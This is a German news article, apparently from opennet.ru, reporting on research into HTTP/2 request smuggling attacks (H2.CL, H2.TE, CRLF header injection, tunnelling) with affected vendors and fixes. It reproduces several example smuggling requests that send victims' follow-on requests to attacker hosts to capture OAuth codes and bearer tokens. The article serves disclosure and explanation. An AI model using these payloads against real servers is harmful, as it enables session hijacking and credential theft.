Web-Systeme, in denen das Frontend Verbindungen über HTTP/2 akzeptiert und sie an das Backend über HTTP/1.1 weiterleitet, sind einem neuen Typ von Angriff namens "HTTP Request Smuggling" ausgesetzt. Dieser Angriff ermöglicht es, durch den Versand speziell gestalteter Client-Anfragen in die Inhalte von Anfragen anderer Benutzer einzugreifen, die im selben Stream zwischen Frontend und Backend verarbeitet werden. Der Angriff kann verwendet werden, um schädlichen JavaScript-Code in eine Sitzung mit einer legitimen Website einzuschleusen, Zugangsbeschränkungssysteme zu umgehen und Authentifizierungsparameter abzufangen.
Von dem Problem betroffen sind Web-Proxy, Lastverteiler, Web-Beschleuniger, Content-Delivery-Systeme und andere Konfigurationen, in denen Anfragen im Frontend-Backend-Schema umgeleitet werden. Der Autor der Studie demonstrierte die Angriffsanfälligkeit bei Systemen wie Netflix, Verizon, Bitbucket, Netlify CDN und Atlassian und erhielt 56.000 Dollar im Rahmen von Belohnungsprogrammen zur Aufdeckung von Sicherheitsanfälligkeiten. Das Vorhandensein des Problems wurde auch in Produkten von F5 Networks bestätigt. Teilweise betrifft das Problem mod_proxy im HTTP-Server Apache (CVE-2021-33193), für dessen Behebung wird das Update auf Version 2.4.49 erwartet (die Entwickler wurden Anfang Mai über das Problem informiert und hatten drei Monate Zeit zur Behebung). In Nginx wurde die gleichzeitige Angabe der Header "Content-Length" und "Transfer-Encoding" in der letzten Ausgabe (1.21.1) blockiert. Werkzeuge zur Durchführung von Angriffen wurden bereits in das Burp-Toolkit aufgenommen und sind in Form einer Turbo Intruder-Erweiterung verfügbar.
Das Prinzip der Funktionsweise der neuen Methode zum Einschleusen von Anfragen in den Datenverkehr ähnelt der Schwachstelle, die derselbe Forscher vor zwei Jahren entdeckte, jedoch beschränkt auf Frontends, die Anfragen über HTTP/1.1 akzeptieren. Zur Erinnerung: Im Frontend-Backend-Schema akzeptiert ein zusätzlicher Knoten—das Frontend—die Anfragen der Kunden, die eine langlebige TCP-Verbindung zum Backend aufbauen, das die direkte Verarbeitung der Anfragen durchführt. Über diese gemeinsame Verbindung werden in der Regel Anfragen verschiedener Benutzer über eine Kette nacheinander übertragen, getrennt durch die Mittel des HTTP-Protokolls.
Der klassische Angriff „HTTP Request Smuggling“ basierte darauf, dass Frontends und Backends die Verwendung der HTTP-Header „Content-Length“ (bestimmt die Gesamtdatenmenge der Anfrage) und „Transfer-Encoding: chunked“ (ermöglicht die Übertragung von Daten in Teilen) unterschiedlich behandeln. Wenn beispielsweise das Frontend nur „Content-Length“ unterstützt, aber „Transfer-Encoding: chunked“ ignoriert, kann der Angreifer eine Anfrage senden, in der sowohl die Header „Content-Length“ als auch „Transfer-Encoding: chunked“ angegeben sind, aber die Größe in „Content-Length“ nicht mit der Größe der chunked-Kette übereinstimmt. In diesem Fall verarbeitet das Frontend die Anfrage gemäß „Content-Length“ und das Backend erwartet das Ende des Blocks basierend auf „Transfer-Encoding: chunked“, wodurch der verbleibende Teil der Anfrage des Angreifers zu Beginn einer fremden Anfrage landet, die sofort danach übertragen wird.
Im Unterschied zum textbasierten Protokoll HTTP/1.1, dessen Parsing zeilenweise erfolgt, ist HTTP/2 ein binäres Protokoll, das mit Datenblöcken fester Größe arbeitet. Dabei verwendet HTTP/2 Pseudo-Header, die den üblichen HTTP-Headern entsprechen. Bei der Kommunikation mit dem Backend über das Protokoll HTTP/1.1 übersetzt das Frontend diese Pseudo-Header in entsprechende HTTP-Header von HTTP/1.1. Das Problem besteht darin, dass das Backend Entscheidungen über die Parsing-Strategie bereits basierend auf den von dem Frontend gesetzten HTTP-Headern trifft, ohne Informationen über die Parameter der ursprünglichen Anfrage zu haben.
Unter anderem können die Werte „content-length“ und „transfer-encoding“ in Form von Pseudo-Headern übermittelt werden, obwohl sie in HTTP/2 nicht verwendet werden, da die Größe aller Daten in einem separaten Feld festgelegt wird. Dennoch werden diese Header während der Umwandlung einer Anfrage von HTTP/2 in HTTP/1.1 übertragen und können das Backend irreführen. Es gibt zwei Hauptangriffsvarianten: H2.TE und H2.CL, bei denen das Backend durch inkorrekte Werte für transfer-encoding oder content-length, die nicht mit der tatsächlichen Größe des Anfragekörpers übereinstimmen, der vom Frontend über das Protokoll HTTP/2 empfangen wurde, in die Irre geführt wird.

Als Beispiel für einen H2.CL-Angriff wird das Angeben einer falschen Größe im Pseudo-Header Content-Length beim Senden einer HTTP/2-Anfrage an Netflix angeführt. Diese Anfrage führt dazu, dass ein entsprechender HTTP-Header Content-Length beim Zugriff auf das Backend über HTTP/1.1 hinzugefügt wird. Da die Größe im Content-Length jedoch kleiner als die tatsächliche Größe angegeben ist, wird ein Teil der Daten am Ende als Beginn der nächsten Anfrage verarbeitet.
Zum Beispiel: HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Dadurch wird die folgende Anfrage an das Backend gesendet: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Da Content-Length den Wert 4 hat, interpretiert das Backend den Anfragekörper nur als „abcd“, während der Rest „GET /n HTTP/1.1...“ als Beginn der nachfolgenden Anfrage, die an einen anderen Benutzer gebunden ist, behandelt. Folglich kommt es zu einer Desynchronisation des Streams, und als Antwort auf die nachfolgende Anfrage wird das Ergebnis der Verarbeitung der übergangenen Anfrage bereitgestellt. Im Fall von Netflix führte die Angabe eines externen Hosts im Header „Host:“ in der übergangenen Anfrage dazu, dass dem Client die Antwort „Location: https://02.rs?x.netflix.com/n“ übermittelt wurde, wodurch beliebige Inhalte an den Client weitergegeben werden konnten, einschließlich der Ausführung von eigenem JavaScript-Code im Kontext der Netflix-Website.
Die zweite Angriffsart (H2.TE) steht im Zusammenhang mit der Einspeisung des Headers „Transfer-Encoding: chunked“. Die Verwendung des Pseudo-Headers transfer-encoding in HTTP/2 ist durch die Spezifikation verboten, und Anfragen mit diesem Header sollten als ungültig behandelt werden. Trotz dessen ignorieren einige Frontend-Implementierungen dieses Erfordernis und erlauben die Verwendung des Pseudo-Headers transfer-encoding in HTTP/2, der in einen entsprechenden HTTP-Header umgewandelt wird. Wenn der Header „Transfer-Encoding“ vorhanden ist, kann das Backend ihn als vorrangiger betrachten und die Daten in chunks mit variierender Größe im Format „{Größe}\r\n{Block}\r\n{Größe}\r\n{Block}\r\n0“ analysieren, obwohl ursprünglich eine Aufteilung nach der Gesamtgröße vorgesehen war.
Eine solche Sicherheitslücke wurde am Beispiel des Unternehmens Verizon demonstriert. Dabei betraf das Problem das Authentifizierungsportal und das Content-Management-System, die auch auf Websites wie Huffington Post und Engadget verwendet wird. Zum Beispiel, die HTTP/2-Anfrage des Clients: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
führten zur Übertragung der Anfrage HTTP/1.1 an das Backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Das Backend ignorierte seinerseits den Header „Content-Length“ und führte die Chunk-Trennung basierend auf „Transfer-Encoding: chunked“ durch. In der Praxis erlaubte der Angriff, Benutzeranfragen auf die eigene Seite umzuleiten und auch Anfragen abzufangen, die mit der OAuth-Authentifizierung zu tun hatten, deren Parameter im Referer-Header angezeigt wurden, sowie eine Authentifizierungssitzung zu simulieren und das System dazu zu bringen, die Benutzerdaten an den Host des Angreifers zu senden. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Für Angriffe auf Implementierungen von HTTP/2, die keine Angabe des Pseudo-Headers transfer-encoding zulassen, wurde eine weitere Methode vorgeschlagen, die damit verbunden ist, den Header „Transfer-Encoding“ durch dessen Anheften an andere Pseudo-Header mit Zeilenumbruch zu substituieren (bei der Umwandlung in HTTP/1.1 werden in einem solchen Fall zwei separate HTTP-Header erstellt).
Beispielsweise waren Atlassian Jira und Netlify CDN (verwendet für die Auslieferung der Startseite von Mozilla in Firefox) von diesem Problem betroffen. Insbesondere die HTTP/2-Anfrage :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
führte zur Übermittlung der Anfrage HTTP/1.1 an das Backend POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Eine weitere Variante der Substitution des Headers „Transfer-Encoding“ bestand darin, ihn an den Namen eines anderen Pseudo-Headers oder an die Anfragemethode anzuhängen. Zum Beispiel führte beim Zugriff auf Atlassian Jira der Name des Pseudo-Headers „foo: bar\r\ntransfer-encoding“ mit dem Wert „chunked“ zur Hinzufügung der HTTP-Header „foo: bar“ und „transfer-encoding: chunked“, während die Angabe im Pseudo-Header „:method“ der Wert „GET / HTTP/1.1\r\nTransfer-encoding: chunked“ in „GET / HTTP/1.1\r\ntransfer-encoding: chunked“ übersetzt wurde.
Der Forscher, der das Problem aufgedeckt hat, schlug auch eine Technik zum Tunneln von Anfragen vor, um Angriffe auf Frontends durchzuführen, bei denen für jede Anfrage eine separate Verbindung zum Backend hergestellt wird und der Verkehr verschiedener Benutzer nicht vermischt wird. IP-Adressen Die vorgeschlagene Technik erlaubt es nicht, sich in die Anfragen anderer Benutzer einzuklinken, bietet jedoch die Möglichkeit, den gemeinsamen Cache zu vergiften, was die Verarbeitung anderer Anfragen beeinflusst, und ermöglicht die Anpassung interner HTTP-Header, die zur Übertragung von Betriebsinformationen vom Frontend zum Backend verwendet werden (zum Beispiel können bei der Authentifizierung auf der Frontend-Seite in solchen Headern Informationen über den aktuellen Benutzer an das Backend übermittelt werden). Als Beispiel für die praktische Anwendung der Methode gelang es durch Cache-Vergiftung, Kontrolle über die Seiten im Service Bitbucket zu erlangen.
Quelle: opennet.ru
